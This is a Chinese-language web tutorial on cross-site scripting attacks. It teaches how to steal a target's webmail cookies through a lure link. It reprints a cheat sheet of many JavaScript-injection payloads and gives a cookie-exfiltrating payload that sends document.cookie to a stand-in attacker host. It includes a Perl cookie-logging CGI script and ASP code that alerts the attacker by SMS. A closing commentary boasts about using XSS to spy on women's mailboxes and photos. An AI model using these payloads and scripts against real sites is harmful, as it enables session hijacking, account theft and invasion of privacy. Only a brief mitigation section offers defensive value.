无聊的Css跨站挂马                
                
                    所属分类:
                        网络安全 / 黑客教程                    
                    阅读数:
                        173
                    
                        收藏 0赞 0分享
                    
                 
                
                    以前看过分析家写过一篇文章,介绍跨站脚本的安全隐患,当时只是知道有这样的 
问题,也没有仔细阅读,目前此类问题经常在一些安全站点发布,偶刚好看到这样一篇文章 
, 
抱着知道总比不知道好的想法,翻译整理了一下,原文在偶主页的collection目录里,错误 
之处请 
多多指点。 
OK,go............ 
什么是跨站脚本(CSS/XSS)? 
我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该 
页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行, 
有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑, 
如果 
你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。 
XSS和脚本注射的区别? 
原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的 
漏洞都被称为XSS,还有另一种攻击方式:"Script Injection",他们的区别在以下两点: 
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如 
:sql injection,XPath injection. 
2.跨站脚本是临时的,执行后就消失了 
什么类型的脚本可以被插入远程页面? 
主流脚本包括以下几种: 
HTML 
JavaScript (本文讨论) 
VBScript 
ActiveX 
Flash 
是什么原因导致一个站点存在XSS的安全漏洞? 
许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或其他类型的错误时, 
出错信息会被打印到一个html文件,并将该错误页面发送给访问者。 
例如: 404 - yourfile.html Not Found!   
我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。 
例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html 
该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_ 
me.html 
,一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览 
器。 
考虑一下它是如何把我们的输入写到html文件里的? 
OK,现在是我们检查XSS漏洞的时候了! 
注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面 
里。当然方法很多 
www.somesite.tld/cgi-bin/program.cgi?page=<script>alert(’XSS_Vuln_Testing’)</sc 
ript> 
当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"?  
这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。 
下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理 
, 
就直接写入404 error页面中,结果创建了一个页面,如下: 
          <html> 
          <b>404</b> - <script>alert(’XSS_Vuln_Testing’)</script> Not Found! 
          </html> 
其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。 
如何利用XSS来完成hacking? 
如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入 
一个 
html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入 
到 
该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。 
事例: 
假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的 
目标是b00b这个人。 
           www.myemailserver.tld/cgi-bin/news.cgi?article=59035 
把上面存在CSS漏洞的连接修改一下: 
     www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red 
这会创建了一个错误页面,我们得到如下信息: 
           Invalid Input! [article=hax0red] 
当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。 
           www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert(’test’)< 
/script> 
<script>并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对 
<script>alert(’test’)</script>进行有效过滤,所以在页面发回到浏览器并执行了该脚本 
。 
下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱,首先你必须知道b00b的email地址, 
并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接,嘿嘿,当然 
它的用意就是从b00b机器中cookie信息里获得自己想要的东东。 
想办法让b00b访问myemailserver.tld站点发表的文章,比如说:”亲爱的b00b,看看这个美 
女 
如何呀?” 
那么当可怜的b00b访问 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取 
并保存cookie的脚本 
           </script> 
连接时,发生什么事情?cookie都有了,你该知道怎么办了吧! 
如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上, 
然后引导用户登陆你的恶意系统页面 
这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面, 
那些笨蛋并不会意识到实际发生的事情。 
把javascript脚本插入WEB页面的不同方法: 
<snip> 
拷贝自:GOBBLES SECURITY ADVISORY #33 
Here is a cut-n-paste collection of typical JavaScript-injection hacks 
you may derive some glee from playing with. 
  <a href="javascript#[code]"> 
  <div onmouseover="[code]"> 
  <img src="javascript:[code]"> 
  <img dynsrc="javascript:[code]"> [IE] 
  <input type="image" dynsrc="javascript:[code]"> [IE] 
  <bgsound src="javascript:[code]"> [IE] 
  &<script>[code]</script> 
  &{[code]}; [N4] 
  <img src=&{[code]};> [N4] 
  <link rel="stylesheet" href="javascript:[code]"> 
  <iframe src="vbscript:[code]"> [IE] 
  <img src="mocha:[code]"> [N4] 
  <img src="livescript:[code]"> [N4] 
  <a href="about:<script>[code]</script>"> 
  <meta http-equiv="refresh" content="0;url=javascript:[code]"> 
  <body onload="[code]"> 
  <div style="background-image: url(javascript:[code]);"> 
  <div style="behaviour: url([link to code]);"> [IE] 
  <div style="binding: url([link to code]);"> [Mozilla] 
  <div style="width: expression([code]);"> [IE] 
  <style type="text/javascript">[code]</style> [N4] 
  <object classid="clsid:..." codebase="javascript:[code]"> [IE] 
  <style><!--</style><script>[code]//--></script> 
  <![CDATA[<!--]]><script>[code]//--></script> 
  <!-- -- --><script>[code]</script><!-- -- --> 
  <script>[code]</script> 
  <img src="blah"onmouseover="[code]"> 
  <img src="blah>" onmouseover="[code]"> 
  <xml src="javascript:[code]"> 
  <xml id="X"><a><b><script>[code]</script>;</b></a></xml> 
  <div datafld="b" dataformatas="html" datasrc="#X"></div> 
  [\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera] 
----Copied from GOBBLES SECURITY ADVISORY #33---- 
</snip> 
一个真正的获取cookie并且做记录的例子: 
注意:要使它工作,你的浏览器必须允许接受http://website.tld站点发送的cookies, 
当我测试下面的信息时,使用 
javascript创建访问者的cookies,javascript脚本放在index.html文件中。 
OK,下面假设http://website.tld存在XSS攻击的安全隐患,存在漏洞的连接是: 
http://website.tld/program.cgi?input=<evil javascript> 
我们创建这样一个连接: 
http://website.tld/program.cgi?input=<script>document.location=’http://yoursite 
.tld 
/cgi-bin/evil_cookie_logger.cgi?’ document.cookie</script> 
然后让保存该站点cookie的用户访问这个连接: 
这是我们的CGI脚本,它的作用就是对用户cookie做记录: 
---------evil_cookie_logger.cgi----------- 
#!/usr/bin/perl 
# evil_cookie_logger.cgi 
# remote cookie logging CGI coded by BrainRawt 
# 
# NOTE: coded as a proof of concept script when testing for 
#       cross-site scripting vulnerabilities. 
$borrowed_info = $ENV{’QUERY_STRING’}; 
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; 
open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type: 
text/html\n\n something went wrong\n"; 
  print EVIL_COOKIE_LOG "$borrowed_info\n"; 
  print "Content-type: text/html\n\n"; 
close(EVIL_COOKIE_LOG); 
------------------------------------------ 
该脚本首先通过 $ENV{’QUERY_STRING’}获得cookie,打印到$borrowed_info变量里, 
通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_lo 
g文件。 
注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行, 
这仅仅是我在自己的站点上做测试用的。 
如何防范XSS攻击? 
1.在你的WEB浏览器上禁用javascript脚本 
2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。 
    
可以把"<",">"转换为<,> 
注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符, 
这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。 
对受害者来说不要访问包含<script>字符的连接,一些官方的URL不会包括任何脚本元素。 
-- 
※ 来源: http://sinbad.zhoubin.com 
前些天看剑心跟狗狗研究css(Cross Site Scripting)跨站,还能欺骗信箱,眼红ing...又拉不下老脸来跟人家要成果,就自己研究着看,呵呵。研究过程中发现自己以前对css跨站概念严重错误,css的危害还真不小,挂马,偷cookies拿权限等等,杀人越货,必备良药!luoluo竟然想到利用网易同学录的xss把他提升成别人班班长,去偷看mm的相片,这人面兽心的家伙。那天听狗狗说要写一个短信通知的功能,session有时效的,不能为偷看mm个信箱时时刻刻监视着吧,这一周的旅游一直掂记着这事,今早回来就完成了短信通知功能,呵呵,开心ing... 
<% 
set rover=server.createObject("Microsoft.XMLHTTP") 
rover.open "post","http://短信网关",false 
rover.send 
%>呵呵~就这一句话解决问题,找那些什么色情电影站的短信网关,抓包,放过去,代码放cookies盗取页面
                                    
             
            
                
                CSRF的攻击方式详解 黑客必备知识
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF
                    
                    收藏 0赞 0分享
抓取管理员hash值(哈希)的另类方法
哈希算法将任意长度的二进制值映射为固定长度的较小二进制值,这个小的二进制值称为哈希值。哈希值是一段数据唯一且极其紧凑的数值表示形式。如果散列一段明文而且哪怕只更改该段落的一个字母,随后的哈希都将产生不同的值。要找到散列为同一个值的两个不同的输入,在计
                    
                    收藏 0赞 0分享
网站安全教程 绕过D盾进行注入的方法(图文教程)
D盾_IIS防火墙专为IIS设计的一个主动防御的保护软件,以内外保护的方式 防止网站和服务器给入侵,在正常运行各类网站的情 况下,越少的功能,服务器越安全的理念而设计! 限制了常见的入侵方法,让服务器更安全!
                    
                    收藏 0赞 0分享
局域网安全教程 HSRP攻击和防范的方法介绍(图文教程)
热备份路由器协议(HSRP)的设计目标是支持特定情况下 IP 流量失败转移不会引起混乱、并允许主机使用单路由器,以及即使在实际第一跳路由器使用失败的情形下仍能维护路由器间的连通性。换句话说,当源主机不能动态知道第一跳路由器的 IP 地址时,HSRP 协议能够保护第一
                    
                    收藏 0赞 0分享
SQL通用防注入系统asp版漏洞
今晚群里朋友叫看个站,有sql防注入,绕不过,但是有发现记录wrong的文件sqlin.asp。
                    
                    收藏 0赞 0分享
                 查看更多